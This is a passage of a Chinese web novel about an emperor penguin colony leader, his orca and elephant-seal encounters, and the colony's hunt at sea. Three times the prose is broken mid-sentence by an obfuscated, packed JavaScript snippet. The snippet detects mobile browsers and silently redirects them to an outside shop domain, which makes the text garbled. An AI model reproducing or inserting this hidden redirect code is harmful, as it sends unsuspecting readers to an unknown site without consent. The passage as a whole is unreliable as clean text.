帝企鹅为了养大幼崽,是轮流去大海捕猎的,妈妈吃饱回来照顾崽子,再轮到爸爸出海,循环往复。 如果族群的雌企鹅不能及时回来,雄企鹅就只能被迫丢下幼崽,去海里捕猎。 …… 终于,他们回到了族群。 所有帝企鹅都围了过来,不停的蹭着他们,庆祝首领带着探路小队成功回归! 潘步简单介绍了阿加,族群的崽子们立即就把阿加围了起来,让阿加跟他们一起玩。 作为首领,回来首先当然要了解族群情况。 在繁殖地,成年帝企鹅几乎不会有伤亡,但幼崽比他离开之前,少了十多个。 即便幼崽死亡很常见,还是让他很心痛。 之后,就是等待,等待雌企鹅们回来,除了等待,他们什么都做不了。 潘步发现,阿加并不喜欢跟其他崽子玩,只爱待在他的身边。 明明都是幼崽,族群的幼崽非常活泼,阿加经历太多,就显得很沉稳。 不知过了多久,崽子们从活泼好动,变的死气沉沉,全都饿焉巴了。 阿加也好不到哪儿去,虽然回来的路上,他还吃了阿沙和阿慢的奶,但阿沙和阿慢也早就没奶了,他已经饿了很久。 崽子们全都张着嘴要奶吃。 企鹅爸爸们拼命刺激喉咙里的腺体,却再也产不出一滴奶。 潘步早就没奶,但他也在不断尝试刺激腺体。 阿加是唯一没要奶吃的崽子,他用喙蹭着潘步的大爪子,轻声说:“哥哥,我不饿。” 潘步蹭了蹭崽子的小脑袋,更加心疼的不行。 他们等啊等,望啊望,无比期盼看到雌企鹅们吃的胖乎乎的身体出现在冰面上。 但是,没有看到,始终都没有,只有无边无际的绝望。 潘步急的不行,他召集了族群里最厉害的十多只带队鹅,商讨对策。 其中当然包括阿沙和阿慢,他俩是坑货,但在这个族群里,他们是仅次于潘步的帝企鹅。 带队鹅们七嘴八舌的说着: “老大,再等等吧,也许雌企鹅们就快回来了!” “不能再等,我们得马上去海里,不然都得饿死。” “老大,都听你的!” …… 潘步:我就知道,问也白搭,商讨含金量堪比两坨鹅屎! 怎么办,到底该怎么办! 8. 南极帝企鹅·生命赞歌(8) 极度的饥饿,在生死边缘挣扎,让原本性格温和的帝企鹅,全都变的异常暴躁,商讨逐渐演变为吵翻天。 阿沙作为激进派代表,坚决要马上出发去大海捕猎进食。 但更多的还是像阿慢这样不愿意放弃幼崽的帝企鹅,他们都极力要求再等等。 潘步在脑子里反复计算。 从族群聚居地到大海,走他们探明的路,并且没有任何意外发生,最少也要十天的时间。 肚子里没有任何存货的成年帝企鹅,扛饿的极限是半个月。 他们最多再等两天,预留三天时间给路上可能遇到的意外情况。 争吵实在太激烈,潘步怒喝一声:“安静!” 帝企鹅是绝对服从首领的,瞬间全都闭上了嘴,等待老大发话。 潘步长叹了一口气,说:“再等两天,两天后,无论如何,我们都立即出发去大海!” 小弟们又为“两天”这个时间疯狂争吵。 有的觉得等太久,有的觉得等太少。 潘步又一声怒吼:“都给我闭嘴!我的命令就是命令!” 他们当即嘎嘎大叫回应老大,表示绝对服从。 随后,便是长久的沉默,为崽子们即将被放弃,即将死亡的悲惨命运,沉默。 最终是阿慢疑惑不已的声音打破了沉默:“什么东西,好臭,你们闻见了吗?” 阿慢一边问一边猛猛吸气。 潘步早就闻见了,但他以为是自己的嗅觉出了问题,或者饿出了幻觉。 天寒地冻的,没什么会臭,就算有鹅拉屎,也会瞬间冻住,根本来不及闻见臭味。 更何况,他们都快饿死了,肚子里啥都没有,想拉屎也拉不出来。 阿慢闻了一圈,终于确认,臭味就是从他旁边阿索的育儿袋里传出来的! 他强行用喙掀开阿索的育儿袋,嫌弃道:“你在里面藏了啥,咋这么臭?” 阿索恍恍惚惚道:“是我的崽子啊,还能是什么,不臭,不许你胡说!” 强烈好奇的趋势下,阿沙早就趴在阿索的脚边往里看。 阿沙不可置信的瞪大了眼睛,惊呼: “啊啊啊崽子,崽子死了,都不知道死多久了,都腐烂了,快弄出来!” 阿索猛的往后退了两步,用翅膀紧紧护着自己的育儿袋,哽咽着说: “没有,我的崽好好的,怎么会死?你们滚开,不许打扰我的崽子睡觉!” 潘步连忙劝慰,周围的帝企鹅也都跟着一起安慰。 但无论他们怎么说,阿索始终坚信崽子就是睡着了,怎么都不肯把崽子拿出来。 阿沙早就没了耐心,强行将崽子拖了出来,怒吼: “你自己看,崽子都成啥样了,都臭了!” 帝企鹅育儿袋里的温度可以达到三十度以上,按照崽子的腐烂程度看,至少已经在里面放了好几天。 阿索不停的用喙蹭着崽子僵硬的小身体,哭着说: “呜呜,崽崽就是睡着了,怎么会臭,不臭,呕不臭,呕……” 阿索自己也受不了这个味道,被熏的直吐清水。 潘步觉得又好气又可怜,想继续安慰,但什么安慰都显得很苍白。 只能狠心下令:“快把崽子带走埋起来!” 阿慢带着小弟们强行按住阿索。 阿沙拖走了崽子,拖到很偏僻的地方,阿索绝对找不到的地方,用雪深深的埋了起来。 …… 此后,阿索都疯疯癫癫的,到处找崽子,实在找不到,才不得不接受崽子真的死了。 潘步始终守着阿加,族群所有的爸爸都守在崽子身边,无比珍惜最后跟崽子相处的时光。 阿加再也不肯进育儿袋里睡觉。 他就紧紧依偎在阿步怀里,始终仰着头,目不转睛的看着阿步,好似怎么都看不够。 潘步劝了很多次,甚至很凶的训斥,让阿加睡一会儿,但阿加根本不听。 他也就只能放弃,任由崽子这么望着他,只偶尔问两句:“傻崽崽,你脖子不要啦?” 阿加没回他的话,自顾自的说: “哥哥,你走吧,去大海捕猎,我不会饿死,我会自己找吃的,我会一直在这里等你回来,一直等,一直等,一直等……” “哥哥,为什么我还不长大,我什么时候才能跟你一起去大海?” “哥哥,海里很危险,你要小心再小心。” …… 这些话,这两天,阿加已经说过很多遍。 潘步用翅膀紧紧抱着崽子,从未感到如此心痛,他早已将阿加当做了亲弟弟。 阿加反过来安慰他:“哥哥,你知道,我很厉害的,我会去附近族群要吃的,我总能要到!” 崽子连忙又补充:“但你不要以为我会留在别的族群,我只要你,只要你!” 潘步蹭着阿加的脖颈,不停的说:“我知道,我保证,除了亲生父母,谁也带不走你。” 阿加只想着,亲生父母,他也不要,他只要阿步! 两天的时间,倏忽即逝。 虽然是极夜,但帝企鹅可以根据极光和天光判断时间,跟太阳一样准确。 潘步让幼崽们挤在一起抱团取暖,这样至少可以撑得久一点。 随后,他正准备带着族群向大海的方向出发。 忽然,远处的冰面上出现一群吃到圆滚滚的雌企鹅! 雌企鹅们带着满肚子的鱼回来了! 真的等到了! 雌企鹅们用最快的速度滑行,如同一个个无比肥美的实心肉丸子朝着族群聚居地弹.射而来。 更加让潘步高兴的是,雌企鹅的数量几乎没有减少。 这就意味着,现存的幼崽都有妈妈喂食,还有多出的雌企鹅肚子里的鱼,作为崽子们的储备粮。 雌企鹅的领队叫阿湄,也才刚成年,跟阿步的年纪差不多。 阿湄的速度最快,最先抵达族群,她滑到阿步的跟前,说: “我们回来晚了,你们赶紧去大海!” 阿步当即就把身旁的阿加托付给了阿湄。 阿湄自然是连连保证会照顾好崽子。 雌企鹅们抵达族群后,没有和雄企鹅们温存,立即就找到自己的幼崽投喂,催促雄企鹅们出海捕猎。 潘步这下就放心了,赶紧带着雄企鹅们用最快的速度往大海而去。 所有崽子都在狼吞虎咽的进食 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16886638|192034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 只有阿加望着大海的方向发呆,阿湄也没催着他吃,只安静的陪着他。 …… 潘步按照之前的探好的路,带领族群,一切都很顺利。 虽然中途遇到了暴风雪,但有几百只帝企鹅一起赶路,再也不用找雪洞躲避,抱团取暖就可以抵挡。 在经过那个可以通往大海的冰洞时,潘步带着族群停了下来。 他让族群在远离冰洞的地方休憩,不允许任何一只帝企鹅靠近冰洞。 族群的帝企鹅都已经饿的不行,全都想去冰洞里捕猎,即便明知道有豹海豹藏在下面,还是疯狂想去! 但是,阿步不让,他们绝对服从首领的命令。 潘步带着阿沙和阿慢,一点点的靠近冰洞。 他要仔细观察,现在这个冰洞下面到底藏了多少豹海豹。 从这个冰洞去大海不是好的选择,但从豹海豹沙滩或者象海豹沙滩去大海,也不是好的选择。 他当然想相信巨鼻已经夺回王位,巨鼻可以保护他的族群,但这种可能性太小! 砰砰砰…… 突然,数不清的豹海豹无比惊恐的从水下跃出,一个接一个的砸在冰面上。 潘步:……天啦,怎么下豹海豹雨了?! 在岸上,豹海豹无法捕猎企鹅,绝对安全,自然不用躲避。 他们也没想躲,帝企鹅的好奇心很强,都想知道,到底发生了什么。 族群所有帝企鹅全都好奇的看了过来,但老大不让靠近,他们就伸长了脖子看。 潘步往前走了一些,同时张开翅膀拦住两个小弟,不让他们靠冰洞太近。 只见,冰洞下还有无数的豹海豹,在水里像炮.弹一样射.出.去,四散而逃! 潘步简直不敢相信,一个普普通通的冰洞下居然能藏这么多的豹海豹! 要是没有提前观察就从这里去大海,他的族群都不够喂饱这么多天敌。 但是,什么东西能把豹海豹群吓成这样? 很快,他就看到了答案。 只见一头巨大无比的虎鲸从水下冒了出来,身后还跟着两个虎鲸群! 虎鲸只露出了半个脑袋,这是虎鲸观察的经典动作——鲸眺。 潘步还是第一次如此近距离的看到虎鲸。 原来在帝企鹅的眼里,虎鲸简直巨大到惊悚的程度! 水下的虎鲸群骂骂咧咧的说着: “这个冰洞太小,挤不下我们这么多,还得一个一个上来换气,淦,真麻烦!” “屮,是谁说这边有大家伙的,怎么全是豹海豹,我不爱吃这玩意儿。” “我也不爱吃,还是鲨肝好吃,超鲜超嫩。” …… 潘步:不儿,敢情是虎鲸巨佬们误入低端局? 一头虎鲸幼崽冒出了水面,蹭着大虎鲸说: “爸爸,他们真笨,这种地方怎么可能有大家伙,还跟过来,真蠢。 我们就不是来捕猎的啊,爸爸是带我过来找妈咪的,我的妈咪就在这里,我一定要找到!” 这个虎鲸幼崽的声音很奇怪。 潘步的印象非常深刻,这就是那个迷路的,不停叫妈咪呼救的鲸崽! 9. 南极帝企鹅·生命赞歌(9) 原来那天的是虎鲸幼崽啊! 其实他也没法仅仅通过叫声就知道是那天的鲸崽。 实在是那么难听的鲸鸣,太罕见,他才能确定以及肯定,这就是那天迷路的崽子! 这个虎鲸幼崽应该是发声部位有点问题,鲸鸣才会如此的奇特。 崽子还没找到妈妈吗?这回倒是变聪明了,知道带着爸爸和族群一起过来找妈妈! 虎鲸幼崽对着水下摆了摆鲸尾,说话的语气嘲讽拉满: “我就是故意的,太无聊了嘛,故意引你们过来陪我玩,那又怎样?!首领嘛,要有点自己的判断哦,蠢货就活该白跑一趟!” 水下的虎鲸首领被气的不行,无比愤怒的谩骂: “海德,管好你的小崽子!还有你,臭崽子,你那破嗓子夹臭鱼烂虾了啊,叫声难听的要死,淦,听的我想吐……” 潘步有点惊讶,海德可是南极最厉害的虎鲸首领! 海德最辉煌的战绩是,落单被座头鲸群围攻,独自一鲸把几十只座头鲸当狗耍,并且重伤座头鲸首领。 从此一战成名,在南极海域,甚至全海洋,就没有谁不知道海德的大名! 海洋.警.察座头鲸都被打的有点怕了,轻易不会再招惹海德,不过座头鲸也不是好惹的,随时都想扳回一局。 潘步怎么都没想到,有朝一日,居然能这么近距离的见到传说中的虎鲸战神海德! 帝企鹅作为南极食物链底端,海洋食物链底端中的底端,必须躲着各种大佬巨佬,远远看见就得躲开,根本不敢近距离接触。 这是很难得的机会,而且非常安全。 不仅仅是他,族群的所有帝企鹅都看呆了,一步都挪不动,眼睛都舍不得眨一下。 海德只是冷冷的看向水下,沉声道: “我的崽子怎么样,都轮不到你来说!你最好现在马上立刻带着你的族群滚,有多远滚多远!” 水下的虎鲸首领深知自己不是海德的对手,就算被耍还被骂,就算要气炸了,也只能带着族群骂骂咧咧的游走。 其实对比起海德,他更惹不起海德的这个混世魔王崽子。 海德至少是讲道理的,轻易不会和其他虎鲸群起冲突。 这个崽子,谁都不怕,谁都敢骂,谁都敢打,比海德更凶恶,偏偏还有个厉害的爸爸护着。 海德蹭了蹭身旁的幼崽,柔声安慰:“赛赛,别听他们胡说,你的声音很好听,爸爸爱听,我们都爱听。” 水下的虎鲸群发出无比空灵的鲸鸣,附和着他们的首领海德。 海赛仰着小脑袋,瞪着已经游远的虎鲸首领,轻蔑道: “哼,我才不在乎他们怎么说,我长大要比你更厉害,我要他们看见我就怕到发抖,我要他们全都闭上臭嘴……” 海德十分满意的点了点头,继而看向冰面上的豹海豹,嫌弃道: “瞧把他们吓的,我们又没想捕猎,一群没用的东西,就知道跑,要不是我崽崽不爱跟你们这群废物玩,全抓来给我崽子练猎杀……” 海赛看向冰面上的帝企鹅,更加嫌弃的说: “一群呆鹅还看热闹呢!看什么看,吃了你们!呸呸呸,我才不吃,呆鹅难吃的要死。 看他们那蠢样儿,吃了他们,我都怕变的跟他们一样蠢!” 潘步现在很疑惑:这么凶恶的崽子,真的是那天可怜巴巴叫妈咪的鲸崽? 那天的鲸崽声音虽然同样非常难听,但可一点儿都不凶恶,不仅不凶恶,还很软萌! 就算那天没有族群在身边,独自游丢的幼崽很害怕,但崽子的性格不会因为害怕就改变。 凶恶的幼崽在恐惧的时候,只会更加凶恶。 这么恶劣的性格,根本就和那天软萌的鲸崽不搭边! 海德蹭了蹭崽子,说:“走了,这群呆鹅不配被我们骂。” “呕呕呕,呆鹅超难吃的,我好奇吃过一次,给我恶心好几天,只有最废物的虎鲸才吃呆鹅……” 海赛一边说着一边假装呕吐。 潘步:不是,我们被吃,还要被嫌难吃?虎鲸果然是海里的大恶魔,就没有一个虎鲸是好的,一个都没有! 虎鲸可以捕猎全海洋,但每个虎鲸群其实都有固定的捕猎对象,几乎不会轻易改变。 他读博的时候,就专门研究过各个海域虎鲸的食谱。 比如南极大部分虎鲸群都爱吃企鹅,但也有极少部分虎鲸群从不吃企鹅。 这就类似于,有的人爱吃香菜,有的人一口香菜都不沾。 跟其他动物比起来,虎鲸的智商高到离奇,相当于十五六岁的青少年。 正因为虎鲸太聪明,很多行为都跟一般动物差别比较大。 虎鲸族群的社会性很强,虎鲸甚至有族群“文化传承”,其中就包括“祖传”食谱。 海德的虎鲸群游走后,冰面上的无数豹海豹也还是不敢下水。 潘步也只能带着族群继续往海滩而去。 他已经决定,就从象海豹沙滩去大海,被象海豹压死,也比被豹海豹吃掉好的多。 海赛紧紧依偎在海德的身边,一点儿凶恶的样子也没有了,糯叽叽的撒娇: “爸爸,我的妈咪去哪里了,我要妈咪……” 海德已经无数次告诉过海赛,他的虎鲸妈妈已经死了,死了就是再也找不到了,去哪里都找不到! 但说再多遍都没用,自从妈妈死后,崽子就变的精神混乱,成天到处找妈妈。 上次海赛就是因为找妈妈,才会迷路,独自跑到了这么偏僻的冰洞来。 还说什么,就是在这个冰洞,听到了妈咪的声音,是妈咪指引,他才能回到大海。 从那以后,崽子就每天都要他带着来这个冰洞,有时一天要来好几次,但崽子再也没听到过那个所谓的“妈咪”的声音。 海德觉得,那肯定又是崽子的幻听,但他还是很有耐心的问: “崽啊,你看见指引你的妈妈长什么样子了吗?” 海赛摇了摇头,说:“没看见,但我记得妈咪的声音,只要妈咪说话,我一定能认出来!” 好一阵后,海赛眼神恢复了清明,又补充道: “爸爸,我知道这个引导我的妈咪,不是虎鲸,不是我真正的妈咪,但我就要这个妈咪了!我就要!” 海德心想,如果不是崽子的幻听,真有这么一个“妈咪”救了崽子,那就太好了! 只要这个妈咪真实存在,早晚能找到。 总比崽子成天问他要已经死亡的妈妈,要好的多! …… 潘步带着族群直奔象海豹沙滩。 果然不出他所料,沙滩上还在混战,并且比上次更加拥挤,简直找不到一点儿缝隙。 他爬上礁石,在无数象海豹中寻找那两个熟悉的身影。 没有,果然没有。 但他还不死心,更加仔细的寻找 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16886639|192034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,仍旧没有。 其实如果有,他一眼就能看见,根本不用找。 这是他早就料到的,但还是很难受。 族群的所有帝企鹅都感到无比绝望,嘎嘎叫着说: “压死就压死吧,反正怎么死都是死,被压死,也比被活活饿死强……” 潘步早已满眼是泪,他很想巨牙,他想再看看巨牙,但再也看不见了。 阿沙突然大叫起来:“老大,你快看,海里那个是不是巨鼻啊?” 潘步简直不敢相信自己的眼睛! 巨鼻正带着崽子从海里游回来。 他们看上去是从深海紧赶慢赶回来的,巨牙都游的很累了。 “吼吼吼……” 巨鼻发出异常低沉粗犷的叫声。 得到命令后,沙滩上所有象海豹立马停止了打斗,“训练有素”的让开了一条很宽的路。 首先就是海边的象海豹瞬间全部下水,让出很大一片空位,里面的象海豹迅速往空位挪。 潘步:……这下水速度简直比下饺子还快! 在如此拥挤的情况下,还能这么迅速的让出很宽的通道,就证明,巨鼻经常这样训练族群。 巨鼻大喊着说:“阿步,你快带族群下海啊!” 潘步终于反应过来,赶紧带着族群冲向大海。 巨牙兴奋的不行,想要上岸迎接,但被巨鼻拦了下来,只能等在海里,激动的汪汪叫: “麻麻,你终于回来了,我好想你,麻麻……” 族群的所有帝企鹅都听阿沙和阿慢说过,他们的首领阿步和巨鼻的传奇经历。 但他们怎么都没想到,巨鼻真的活了下来,还重新当上了王,还真的信守承诺来保护阿步的族群! 潘步最先跳入大海,猛的扑向巨牙,用整个身体蹭着巨牙的大脑袋,怎么蹭都不够。 巨鼻始终拦着巨牙,不住的提醒: “崽崽,你已经长大不少,但麻麻还是很小很小,你不能用力,要小心再小心,不能弄伤麻麻……” 巨牙兴奋的摆动着无比肥美的身体,汪汪叫着说: “爸爸,你已经说过很多遍啦,我知道,麻麻是帝企鹅,妈妈很小,我的身体太大,力气太大,我都知道……” 潘步一边蹭着崽子的大脑袋,一边仔细的看。 巨牙身上的伤都好得差不多了,现在应该至少有五百斤,胖成了大圆球。 象海豹幼崽成长速度很快,特别是断奶后,开始吃鱼虾,那更是疯长,一天能长几十斤。 巨鼻赶忙说:“阿步,我先带你们去捕猎进食,你们肯定都饿坏了!牙牙乖,先让麻麻和族群去吃鱼!” 潘步重重的点着头,命令族群赶紧跟上。 巨鼻一边游一边说:“阿步,我早就为你们找到了这附近鱼虾最多的海域,特别适合帝企鹅……” 潘步感动的无以复加。 他这才知道,巨鼻夺回王位后,经常都在海里,就是为了确保他的族群下海后能最快吃饱吃好。 巨鼻还怕耽误他们下海,让族群里的象海豹远远看见帝企鹅,就立马汇报。 所以才能这么及时的赶回来接他们。 潘步边游边跟巨牙说话,巨牙问了很多,诸如帝企鹅多久来大海之类的,他都一一回答。 唯一让他感到奇怪的是,他总觉得,好像有什么东西在跟踪他们。 但他已经懒得管了,吃饭要紧! 10. 南极帝企鹅·生命赞歌(10) 在巨鼻的带领下,他们很快就来到了深海区,这里鱼虾数不胜数! 潘步都要饿疯了,像一颗炮.弹.射向如同红色潮水的磷虾群。 只需要张开嘴,就有无数磷虾吃进肚子里。 鲜甜,鲜甜的要命! 潘步:磷虾这玩意儿到底是谁发明的呢,咋能这么好吃,又这么多,吃起来还毫不费力,简直超完美。 他确定以及肯定,如果南极没有磷虾,帝企鹅会灭绝。 不止帝企鹅,很多海洋生物都会灭绝,甚至包括蓝鲸这种庞然大物。 蓝鲸是无比巨大,但蓝鲸的主要食物就是磷虾。 潘步一边大口吃,一边看着族群的所有帝企鹅疯狂进食,巨牙和巨鼻就在旁边守着他们。 这让他产生前所未有的满足感、成就感、幸福感! 吃了半肚子的磷虾打底,潘步立马又看上了不远处超级肥美的沙丁鱼群。 沙丁鱼就没那么好捕猎了,他带着族群从后面包抄,猛的冲进去,张嘴狂吃。 一顿操作猛如虎,但他就只咬到了三条沙丁鱼。 族群所有帝企鹅,要么一条都没吃到,要么就吃到一两条,他还是吃到最多的。 沙丁鱼群被吓的四散而逃,已经没有追着捕猎的必要。 他开始细细品尝,起初嘴里的沙丁鱼还在活蹦乱跳,咬下去后就汩汩冒油,浓郁的鲜香在舌尖炸来。 哦,天啦,香到冒泡! 同样的捕猎方式,他又带着族群,以迅雷不及掩耳之势冲进鲱鱼群、侧纹鱼群、毛鳞鱼群…… 这片海域确实非常适合帝企鹅进食,全都是企鹅超爱吃的鱼,小小肥肥的,数量又非常多。 如果没有巨鼻提前帮他们找到这片海域,他还得带着族群找。 当然在找的过程中,他们也可以吃到一些鱼虾,但根本不可能填饱肚子,不定要找多少天才能找到这里。 潘步已经吃的很饱,但他又看上了一群小鱿鱼,同样冲进去一顿“狂吃”。 这种小鱿鱼游的很快,也不是很好捕猎,他就吃到了三五个。 但他已经很满足。 小鱿鱼无比鲜甜Q弹,简直没有比这更好的香嘴零食。 整个族群所有帝企鹅都已经吃撑了,肚子圆鼓鼓的。 他这才带着族群往上游,他们得回海面上换气,也得休息消化一下。 不用换气就能吃到撑,这片海域简直就是帝企鹅的天堂! 海面上有很大块且很厚的浮冰,不用担心浮冰碎掉,也不用担心被潜伏的豹海豹捕猎。 潘步都不知道该怎么感谢巨鼻。 这样全方位都适合帝企鹅捕猎进食的海域,一定是巨鼻找了很久,比对了很多海域,最终才选出来的! 潘步冲着海面上浮冰的巨大黑影,用最快的速度往上游,借助水流助推,像一颗胖乎乎的炮.弹高高射出水面。 砰的一声闷响,稳稳落在巨大浮冰的边缘。 接着就是砰砰砰声不断,整个族群几百只帝企鹅都像他一样冲上来,稳稳落在浮冰上。 最后两个更加巨大的砰砰声,是巨鼻和巨牙。 潘步无比感激的蹭着巨鼻,不停的说着感谢的话。 巨鼻连忙说:“阿步,你救了我和崽子两次,如果没有你告诉我怎么处理伤口,我和崽子都会死!为你做什么,我都觉得不够,永远都不够!” 潘步用喙蹭着巨牙,怎么跟崽子亲昵都不够,一边说着: “那也是你们自己厉害,恢复能力强,我都怕再也见不到你们……” 巨鼻只是不断强调:“反正,我就是觉得为你做什么都不够!” 潘步没有再反驳,不住的夸赞:“牙牙真厉害,这么早就换毛了,肯定是最早换毛的崽子……” 象海豹幼崽断奶后就会脱去胎毛,换上银灰色的“外衣”,只有浑身都换上这种毛才能下海捕猎进食,长时间待在海里。 之前他救巨牙的时候,崽子都还没怎么开始换毛,身上大部分都是胎毛。 这么短时间就已经完全换毛,绝对是象海豹幼崽中的佼佼者。 不过本来巨鼻就很厉害,巨牙的母亲肯定也很厉害,巨牙继承了最好的基因,自然什么都最好。 虽然他没见过巨牙的母亲,但能让巨鼻这样的王独爱她一个的雌象海豹,即便她死亡,巨鼻也全心全意养育幼崽,就可以想见,这个雌象海豹有多厉害! 巨牙用大脑袋不住的蹭着阿步的整个身体,特别骄傲的说: “麻麻,我以后还会变的更厉害,麻麻,我一定会保护好你……” 潘步之前就听巨鼻说过,巨牙的妈妈就是为了保护崽子死的,巨牙才会对保护他这个“新妈妈”的执念特别强。 他更加心疼的不行,想抱抱巨牙,但崽子已经长得过于庞大,他的翅膀太小,就连崽子的脑袋都抱不全,只能象征性的抱抱。 族群所有的帝企鹅全都餍足的躺着,无比激动的说着: “讲真的,像做梦一样,我都不敢相信,我以为我们都会被压死,没想到啊,没被压死,还这么快就吃饱了!” “阿步真厉害,我要永远追随阿步,永远永远永远!” “反正要是没有阿步,没有巨鼻,我肯定会被压死,我没你们那么会躲避。” “我也会被压死,我都饿的走不动了,根本躲不了一点儿。” “这片海域真好啊,这么多年,我从来没在这么富饶又安全的海域捕猎进食过。” “巨鼻真会找,我们的首领真厉害,我们就是全南极最幸福的企鹅!” …… 此后很多天,他们都在这片海域捕猎进食,巨鼻和巨牙也始终陪在阿步的身边。 帝企鹅族群每次出海捕猎,至少要在大海里待上十天半个月,先把身体养胖,再装满满一肚子的鱼回去投喂幼崽。 潘步还是总感觉,有什么东西在跟踪他们。 但不论他怎么找,都丝毫找不到被跟踪的迹象,更不知道是谁在跟踪。 他只能安慰自己,肯定是错觉。 这天,潘步像往常一样,带着族群在大浮冰上休憩,他又又又看见了那个很奇怪的虎鲸幼崽——海赛! 这已经是他在这片海域第三次看见海赛,这频率有点高了。 不过虎鲸群本来就喜欢到处游,虎鲸幼崽更是贪玩的不行。 最让他想不通的是,海赛的身边始终没有别的虎鲸,就连海德都没跟着海赛。 虎鲸幼崽一般不会脱离族群的,幼崽独自在外很危险。 因为虎鲸会捕猎全海 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16886640|192034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 洋,特别是大型须鲸,将虎鲸视为仇敌,逮着机会必定弄死虎鲸幼崽。 他看见,海赛游到了一个完全陌生的虎鲸群里,这个虎鲸群有好几个虎鲸幼崽。 海赛兴致勃勃的冲了过去,叽叽叫着问:“我可以跟你们玩吗?” 这几个虎鲸幼崽十分嫌弃的说: “麻麻不让我们跟傻子玩,麻麻说,你脑子有问题。” “你的鲸鸣也难听的要命,你快走吧,我们才不会跟你玩!” 海赛气鼓鼓的怒吼:“哼,不玩就不玩,谁稀罕跟你们玩,你们才脑子有问题,你们的鲸鸣才难听……” 这几个虎鲸幼崽到底胆子小一些,立马就被吓的游到了虎鲸妈妈的身边。 虎鲸妈妈不住蹭着幼崽,柔声安慰: “别怕,别怕,他脑子不正常,不理他就好啦。” 海赛眼里满是羡慕,叫声却无比凶恶。 潘步忽然觉得,海赛也挺可怜。 鲸鸣难听,对一头鲸来说,真的可以算是残疾,是很严重的缺陷。 这种严重缺陷,必定导致无数的谩骂嘲笑,就算海赛有海德那么厉害的爸爸也没用,照样被嘲笑。 他都能想象,海赛的性格如此恶劣,跟一直被嘲笑,有很大的关系。 海赛一定经历过很多次今天这种情况,没有虎鲸幼崽会跟他玩,一个都没有。 他看见,海赛独自游走了,一路上跟浮冰玩,跟自己的鲸尾玩,一边游一边说: “哼,我自己也可以玩的很开心,我的尾巴可以翘很高,你们都不行吧,我可以把浮冰顶碎,一下就顶碎哦,谁有我厉害……” 他还发现,没有大型须鲸敢攻击海赛,就算是座头鲸群,也不敢! 海赛在这片海域就是可以“横着游”,霸气的很。 没一会儿,他看见海面上出现越来越多的帝企鹅。 他从没见过如此庞大的帝企鹅族群,粗略估计,有几千只帝企鹅,并且这还只是出海的,另外一半在聚居地照顾幼崽呢。 如此庞大的数量,只可能是他的鹅生偶像——阿让的族群! 阿让果然不愧是最厉害的帝企鹅首领,这片海域就是最适合帝企鹅捕猎进食的,阿让当然会选这里! 并且,他发现,阿让族群的帝企鹅们全都已经很胖很胖,肯定已经在这里吃了很多天。 只是因为这片海域太大,之前他们两个族群才没有遇见过。 他从没见过阿让,但还是一眼就认出,那个游在最前面,无比高大的帝企鹅,就是阿让! 一般的帝企鹅最高也就一米三,但阿让绝对有一米五六,比旁边的帝企鹅高出很大一截。 更让他激动的是,阿让带着族群到他们所在的这块大浮冰上休息了! 最最最让他激动的是,他看见阿让朝着他走过来了! 阿让走到他的面前,说:“阿步,我找了你好些天。” 他的声音无法自控的颤抖:““你认识我?你怎么知道我的名字?” 阿让:“能让象海豹王给你保驾护航,现在整个南极,谁不知道你。” 潘步:额……步吧啦,你很有名?也是以意想不到的方式出名了呢! 他实在想不出阿让干嘛要找他,连忙又问:“您为什么要找我?” 11. 南极帝企鹅·生命赞歌(11) 阿让十分坦诚,直接说明了来意: “我想,你还不知道,别西普的族群来这片海域了,你有巨鼻保护,我也必须来提醒你,一定要更加小心,别西普很难对付。” 别西普是最凶残的豹海豹,曾经创下一天之内独自猎杀一百多只企鹅的最高记录! 一百多只企鹅,别西普撑死都根本吃不完,杀这么多,就是单纯的嗜血,喜爱杀戮。 别西普不仅自己喜欢猎杀,他的族群也特别凶残,经常虐.杀企鹅,是最恐怖的存在! 虽然在大海中,企鹅的游速比豹海豹要快的多,一般来说,豹海豹追不上企鹅。 但豹海豹可以藏在浮冰附近,等企鹅下水的瞬间捕猎。 别西普最擅长的就是,搞突袭,简直防不胜防! 潘步早就听说过别西普的种种恶.行,但他怎么都没想到,阿让会亲自来提醒,简直让他受宠若惊。 他赶忙说:“谢谢您特意来告诉我这个消息,我完全不知道别西普的族群来了这片海域,要是被偷袭,那就完蛋了!” 即便有巨鼻随时跟在他的身边,但突袭的情况下,巨鼻也不可能反应那么快,族群的帝企鹅肯定会被猎杀一部分。 作为首领,他当然不愿意损失任何一只帝企鹅。 阿让又说:“你不能因为有了巨鼻的保护,就放松警惕,别西普不仅会在浮冰附近突袭,还会在你们进食的时候……” 潘步听得非常认真,一一记下别西普偷袭的技巧和习惯,以便遭遇的时候,可以更好的应对。 